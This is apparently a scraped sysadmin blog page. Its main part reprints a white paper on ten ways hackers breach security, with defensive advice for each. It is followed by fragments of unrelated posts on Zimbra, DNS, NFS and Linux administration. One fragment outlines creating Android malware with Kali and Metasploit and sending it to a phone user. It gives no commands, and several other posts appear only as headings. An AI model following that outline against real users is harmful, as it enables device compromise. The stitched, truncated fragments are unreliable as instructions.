• The problem of shoulder surfing or video surveillance.

James Michael Steward, Global Knowledge Instructor

Ten Ways Hackers Breach Security

Password theft, password cracking, and even password guessing are still serious threats to IT environments.

The best protection against these threats is to deploy multifactor authentication systems and to train personnel

regarding safe password habits.

2.Trojan Horses

A Trojan horse is a continuing threat to all forms of IT communication. Basically, a Trojan horse is a malicious

payload surreptitiously delivered inside a benign host. You are sure to have heard of some of the famous

Trojan horse malicious payloads such as Back Orifice, NetBus, and SubSeven. But the real threat of Trojan horses

is not the malicious payloads you know about, its ones you don't. A Trojan horse can be built or crafted by

anyone with basic computer skills. Any malicious payload can be combined with any benign software to create

a Trojan horse. There are countless ways of crafting and authoring tools designed to do just that. Thus, the real

threat of Trojan horse attack is the unknown.

The malicious payload of a Trojan horse can be anything. This includes programs that destroy hard drives, corrupt

files, record keystrokes, monitor network traffic, track Web usage, duplicate e-mails, allow remote control

and remote access, transmit data files to others, launch attacks against other targets, plant proxy servers, host

file sharing services, and more. Payloads can be grabbed off the Internet or can be just written code authored

by the hacker. Then, this payload can be embedded into any benign software to create the Trojan horse.

Common hosts include games, screensavers, greeting card systems, admin utilities, archive formats, and even

documents.

All a Trojan horse attack needs to be successful is a single user to execute the host program. Once that is

accomplished, the malicious payload is automatically launched as well, usually without any symptoms of

unwanted activity. A Trojan horse could be delivered via e-mail as an attachment, it could be presented on a

Web site as a download, or it could be placed on a removable media (memory card, CD/DVD, USB stick, floppy,

etc.). In any case, your protections are automated malicious code detection tools, such as modern anti-virus

protections and other specific forms of malware scanners, and user education.

3. Exploiting Defaults

Nothing makes attacking a target network easier than when that target is using the defaults set by the vendor

or manufacturer. Many attack tools and exploit scripts assume that the target is configured using the default

settings. Thus, one of the most effective and often overlooked security precautions is simply to change the

defaults.

To see the scope of this problem, all you need to do is search the Internet for sites using the keywords "default

passwords". There are numerous sites that catalog all of the default user names, passwords, access codes, settings,

and naming conventions of every software and hardware IT product ever sold. It is your responsibility to

know about the defaults of the products you deploy and make every effort to change those defaults to nonobvious

alternatives.

But it is not just account and password defaults you need to be concerned with, there are also the installation

defaults such as path names, folder names, components, services, configurations, and settings. Each and every

possible customizable option should be considered for customization. Try to avoid installing operating systems

into the default drives and folders set by the vendor. Don't install applications and other software into their

"standard" locations. Don't accept the folder names offered by the installation scripts or wizards. The more

you can customize your installations, configurations, and settings, the more your system will be incompatible

with attack tools and exploitation scripts.

4. Man-in-the-Middle Attacks

Every single person reading this white paper has been a target of numerous man-in-the-middle attacks. A

MITM attack occurs when an attacker is able to fool a user into establishing a communication link with a server

or service through a rogue entity. The rogue entity is the system controlled by the hacker. It has been set up

to intercept the communication between user and server without letting the user become aware that the misdirection

attack has taken place. A MITM attack works by somehow fooling the user, their computer, or some

part of the user's network into re-directing legitimate traffic to the illegitimate rogue system.

A MITM attack can be as simple as a phishing e-mail attack where a legitimate looking e-mail is sent to a user

with a URL link pointed towards the rogue system instead of the real site. The rogue system has a look-alike

interface that tricks the user into providing their logon credentials. The logon credentials are then duplicated

and sent on to the real server. This action opens a link with the real server, allowing the user to interact with

their resources without the knowledge that their communications have taken a detour through a malicious

system that is eavesdropping on and possibly altering the traffic.

MITM attacks can also be waged using more complicated methods, including MAC (Media Access Control)

duplication, ARP (Address Resolution Protocol) poisoning, router table poisoning, fake routing tables, DNS

(Domain Name Server) query poisoning, DNS hijacking, rogue DNS servers, HOSTS file alteration, local DNS

cache poisoning, and proxy re-routing. And that doesn't mention URL obfuscation, encoding, or manipulation

that is often used to hide the link misdirection.

To protect yourself against MITM attacks, you need to avoid clicking on links found in e-mails. Furthermore,

always verify that links from Web sites stay within trusted domains or still maintain SSL encryption. Also,

deploy IDS (Intrusion Detection System) systems to monitor network traffic as well as DNS and local system

alterations.

5.Wireless Attacks

Wireless networks have the appeal of freedom from wires - the ability to be mobile within your office while

maintaining network connectivity. Wireless networks are inexpensive to deploy and easy to install.

Unfortunately, the true cost of wireless networking is not apparent until security is considered. It is often the

case that the time, effort, and expense required to secure wireless networks is significantly more than deploying

a traditional wired network.

Interference, DOS, hijacking, man-in-the-middle, eavesdropping, sniffing, and many more attacks are made simple

for attackers when wireless networks are present. That doesn't even mention the issue that a secured

wireless network (802.11a or 802.11g) will typically support under 14 Mbps of throughput, and then only

under the most ideal transmission distances and conditions. Compare that with the standard of a minimum of

100 Mbps for a wired network, and the economy just doesn't make sense.

However, even if your organization does not officially sanction and deploy a wireless network, you may still

have wireless network vulnerabilities. Many organizations have discovered that workers have taken it upon

themselves to secretly deploy their own wireless network. They can do this by bringing in their own wireless

access point (WAP), plugging in their desktop's network cable into the WAP, then re-connecting their desktop

to one of the router/switch ports of the WAP. This retains their desktop's connection to the network, plus it

adds wireless connectivity. All too often when an unapproved WAP is deployed, it is done with little or no

security enabled on the WAP. Thus, a $50 WAP can easily open up a giant security hole in a multi-million dollar

secured-wired network.

To combat unapproved wireless access points, a regular site survey needs to be performed. This can be done

with a notebook using a wireless detector such as NetStumbler or with a dedicated hand-held device.

6. Doing their Homework

I don't mean that hackers break into your network by getting their school work done, but you might be surprised

how much they learn from school about how to compromise security. Hackers, especially external

hackers, learn how to overcome your security barriers by researching your organization. This process can be

called reconnaissance, discovery, or footprinting. Ultimately, it is intensive, focused research into all information

available about your organization from public and non-so-public resources.

If you've done any research or reading into warfare tactics, you are aware that the most important weapon

you can have at your disposal is information. Hackers know this and spend considerable time and effort

acquiring a complete arsenal. What is often disconcerting is how much your organization freely contributes to

the hacker's weapon stockpile. Most organizations are hemorrhaging data; companies freely give away too

much information that can be used against them in various types of logical and physical attacks. Here are just

a few common examples of what a hacker can learn about your organization, often in minutes:

• The names of your top executives and any flashy employees you have by perusing your archive of press

releases.

• The company address, phone number, and fax number from domain name registration.

• The service provider for Internet access through DNS lookup and traceroute.

• Employee home addresses, phone numbers, employment history, family members, previous addresses,

criminal record, driving history, and more by looking up their names in various free and paid background

research sites.

• The operating systems, major programs, programming languages, specialized platforms, network device

vendors, and more from job site postings.

• Physical weaknesses, vantage points, lines of sight, entry ways, covert access paths, and more from

satellite images of your company and employee addresses.

• Usernames, e-mail addresses, phone numbers, directory structure, filenames, OS type,Web server platform, scripting languages,Web application environments, and more from Web site scanners. Confidential documents accidentally posted to a Web site from archive.org and Google hacking.

• Flaws in your products, problems with staff, internal issues, company politics, and more from blogs, product reviews, company critiques, and competitive intelligence services.

As you can see, there is no end to the information that a hacker can obtain from public open sources. This list

of examples is only a beginning. Each kernel of truth discovered often leads the hacker to unearth more. Often, a hacker will spend over 90% of their time in information-gathering activities. The more the attacker learns about the target, the easier the subsequent attack becomes.

As for defense, you are ultimately at a loss—mainly because it is already too late. Once information is out on

the Internet, it is always out there. You can obviously clean up and sterilize any information resource currently

under your direct control. You can even contact third-party information repositories to request that they

change your information. Some online data systems, such as domain registrars, offer privacy and security services

(for a fee, of course). You can also control or limit the output of information in the future by being more

discrete in your announcements, product details, press releases, etc.

However, it is the information that you can't change or remove from the Internet that will continue to erode

your security. The only way to manage uncontrollable information is to alter your environment so that it is no

longer correct or relevant. Think of this as a new way to deviate from defaults or at least deviate from the previous

known.

7. Monitoring Vulnerability Research

Hackers have access to the same vulnerability research that you do. They are able to read Web sites, discussion

lists, blogs, and other public information services about known problems, issues, and vulnerabilities with hardware

and software. The more the hacker can discover about possible attack points, the more likely it is that he

can discover a weakness you've yet to patch, protect, or even become aware of.

To combat vulnerability research on the part of the hacker, you have to be just as vigilant as the hacker. You

have to be looking for the problems in order to protect against them just as intently as the hacker is looking

for problems to exploit. This means keeping watch on discussion groups and web sites from each and every

vendor whose products your organization utilizes. Plus, you need to watch the third-party security oversight

discussion groups and web sites to learn about issues that vendors are failing to make public or that don't yet

have easy solutions. These include places like securityfocus.com, US CERT, hackerstorm.com, and

hackerwatch.org.

8. Being Patient and Persistent

Hacking into a company network is not typically an activity someone undertakes and completes in a short period

of time. Hackers often research their targets for weeks or months, before starting their first tentative logical

interactions against their target with scanners, banner-grabbing tools, and crawling utilities. And even then,

their initial activities are mostly subtle probing to verify the data they gathered through their intensive

"offline" research. Once hackers have crafted a profile of your organization, they must then select a specific

attack point, design the attack, test and drill the attack, improve the attack, schedule the attack, and, finally,

launch the attack.

In most cases, a hacker's goal is not to bang on your network so that you become aware of their attacks.

Instead, a hacker's goal is to gain entry subtly so that you are unaware that a breach has actually taken place.

The most devastating attacks are those that go undetected for extended periods of time, while the hacker has

extensive control over the environment. An invasion can remain undetected nearly indefinitely if it is executed

by a hacker who is patient and persistent. Hacking is often most successful when performed one small step at

a time and with significant periods of time between each step attempt - at least up to the point of a successful

breach. Once hackers have gained entry, they quickly deposit tools to hide their presence and grant them

greater degrees of control over your environment. Once these hacker tools are planted, hidden, and made

active, the hackers are free to come and go as they please.

Likewise, protecting against a hacker intrusion is also about patients and persistence. You must be able to

watch even the most minor activities on your network with standard auditing processes as well as an auto- mated IDS/IPS system. Never allow any anomaly to go uninvestigated. Use common sense, follow the best business practices recommended by security professionals, and keep current on patches, updates, and system

improvements.

However, realize that security is not a goal that can be fully obtained. There is no perfectly secure environment.

Every security mechanism can be fooled, overcome, disabled, bypassed, exploited, or made worthless. Hacking successfully often means the hacker is more persistent than the security professional protecting an environment.

Ultimately, it is an arms race to see who blinks or falls behind first. With enough time, the right tools, sufficient expertise and skill, mounting information collection, and persistence, a hacker can and will find a way to breach any and every security system.

9. Confidence Games

The good news about hacking today is that many security mechanisms are very effective against most hacking

attempts. Firewalls, IDSes, IPSes, and anti-malware scanners have made intrusions and hacking a difficult task.

However, the bad news is many hackers have expanded their idea of what hacking means to include social

engineering: hackers are going after the weakest link in any organization's security—the people.

People are always the biggest problem with security because they are the only element within the secured

environment that has the ability to choose to violate the rules. People can be coerced, tricked, duped, or forced

into violating some aspect of the security system in order to grant a hacker access. The age-old problem of

people exploiting other people by taking advantage of human nature has returned as a means to bypass modern

security technology.

Protection against social engineering is primarily education. Training personnel about what to look for and to

report all abnormal or awkward interactions can be effective countermeasures. But this is only true if everyone

in the organization realizes that they are a social engineering target. In fact, the more a person believes that

their position in the company is so minor that they would not be a worthwhile target, the more they are actually

the preferred targets of the hacker.

10. Already Being on the Inside

All too often when hacking is discussed, it is assumed that the hacker is some unknown outsider. However,

studies have shown that a majority of security violations actually are caused by internal employees. So, one of

the most effective ways for a hacker to breach security is to be an employee. This can be read in two different

ways. First, the hacker can get a job at the target company and then exploit that access once they gain the

trust of the organization. Second, an existing employee can become disgruntled and choose to cause harm to

the company as a form of revenge or retribution.

In either case, when someone on the inside decides to attack the company network, many of the security

defenses erected against outside hacking and intrusion are often ineffective. Instead, internal defenses specific

to managing internal threats need to be deployed. This could include keystroke monitoring, tighter enforcement

of the principle of least privilege, preventing users from installing software, not allowing any external

removable media source, disabling all USB ports, extensive auditing, host-based IDS/IPS, and Internet filtering

and monitoring.

sysadmin

Google chrome is showing error in Windows 10 - Error Code:STATUS_INVALID_IMAGE_HASH

GO to chrome application.

Generally Location for CHROME is

c;\Program Files (x86)\Google\Chrome\Application

Once you have found the application as 'chrome' in the folder simply rename it to anything other than 'chrome'. Like XChrome, Ychrome, etc.

Demo for Mobile (Andriod) App Hacking using Kali Linux and Metasploit Framework

1. Install the KALI LINUX in Virtual BOX/VMWARE

2. Install the Andriod OS in Virtual Box from https://www.osboxes.org/android-x86/

4. Create the MALWARE for Andriod

5. Share the app to user/Mobile Phone using apache or Email.

6. In the Kali VM Start the postgresql by using

How To Migrate a WordPress website/web-app from Test environment to Production /Hosting Server

Following needs to be Take Care/implement while Migration the wordpress to the Production Server.

1. www.domain.com should point to the IP Address (A.B.C.D)

2. Replace all the entries in the Mysql Database from localhost to www.domain.com

The .htaccess file which you have copied from laptop/desktop to Production site look like this.

Update the .htaccess file as below – Remove folder name

script for amc expiry email notification .

How to Create a Delegated Admin Account in Zimbra 8.x

SCRIPT TO SHOW INVALID LOGIN ATTEMPTS IN RED COLOR AND VALID LOGIN IN GREEN COLOR FOR ZIMBRA 8.x

Script for release the RAM cache everyday

The Above Script will clear the Unused RAM . This will send the email before and after Clearing the RAM.Use This script when very Less number of users are using the server.This script will run on Linux Server (RedHat/Centos).The Script can be run during Night Time using Crontab.

The Script for Temperature Alert using email from the Linux Server (If it Cross 40 c)

In this Script Replace the email@domain.com with Correct Email id and Sendmail path with correct Send-mail path. In this script we are monitoring the CPU Temperature. This Script will work on Linux Server (Red Hat/Centos )

Password Expiry notification for the users in zimbra 8.x within 7 Days for the email users

This Script will run as cron tab daily basis and it will alert the users for whom password is going to expire within 7 days. It will also alert admin for the users for whom password expired.

Kindly replace the domain.com with your own domain name and the /opt/zimbra/postfix-2.10.3.2z/sbin/sendmail path to the actual path of postfix

Zimbra backup open source for zimbra 8.x for 7 Days

DNS AMPLIFICATION LIMITS AND SOLUTIONS - DNSCURVER ALTERNATE TO DNSSEC

What is a DNS amplification DDoS attack?

Security best practices for configuring DNS and limit recursion

DNSCurve: an alternative to DNSSEC

Slave/Secondary DNS Server (Read Only DNS Server) How AXFR & IXFR Works in DNS for Zone Transfer ?

How DNS Works ? How Query works -Recursive and Iterative Queries for DNS Server

Querying a DNS server

Alternate query responses

How iteration works in DNS ?

Change of hostname for Redhat Linux/Cent OS /Fedora / Ubuntu / Suse Linux

1. Change of Hostname for Redhat / Fedora / Cent OS Linux

2. For Ubuntu Linux

3. For Suse Linux

IPV6 DNS INSTALLATION GUIDE

Logical Volume Linux

1. This is what we are going to do

2. Create Partitions

3. Create physical volumes

4. Create Virtual Group

5. Create Logical Volumes

6. Create File system on logical volumes

7. Edit /etc/fstab

7.1. Mount logical volumes

8. Extend logical volume

9. Remove logical volume

NFS -Linux

Remote Disk Access with NFS

Contents

Introduction

NFS Operation Overview

General NFS Rules

Key NFS Concepts

VFS

Stateless Operation

Caching

NFS And Symbolic Links

NFS Background Mounting

Hard and Soft Mounts

NFS Versions

Important NFS Daemons

Installing NFS

A Typical NFS Scenario

Configuring NFS on The Server

The /etc/exports File

Starting NFS on the Server

Configuring NFS on The Client

Starting NFS on the Client

NFS And DNS

Accessing NFS Server Directories from the Client

The /etc/fstab File

Table 29.1 Possible NFS Mount Options

The Above Script will clear the Unused RAM . This will send the email before and after Clearing the RAM.
Use This script when very Less number of users are using the server.This script will run on Linux Server (RedHat/Centos).The Script can be run during Night Time using Crontab.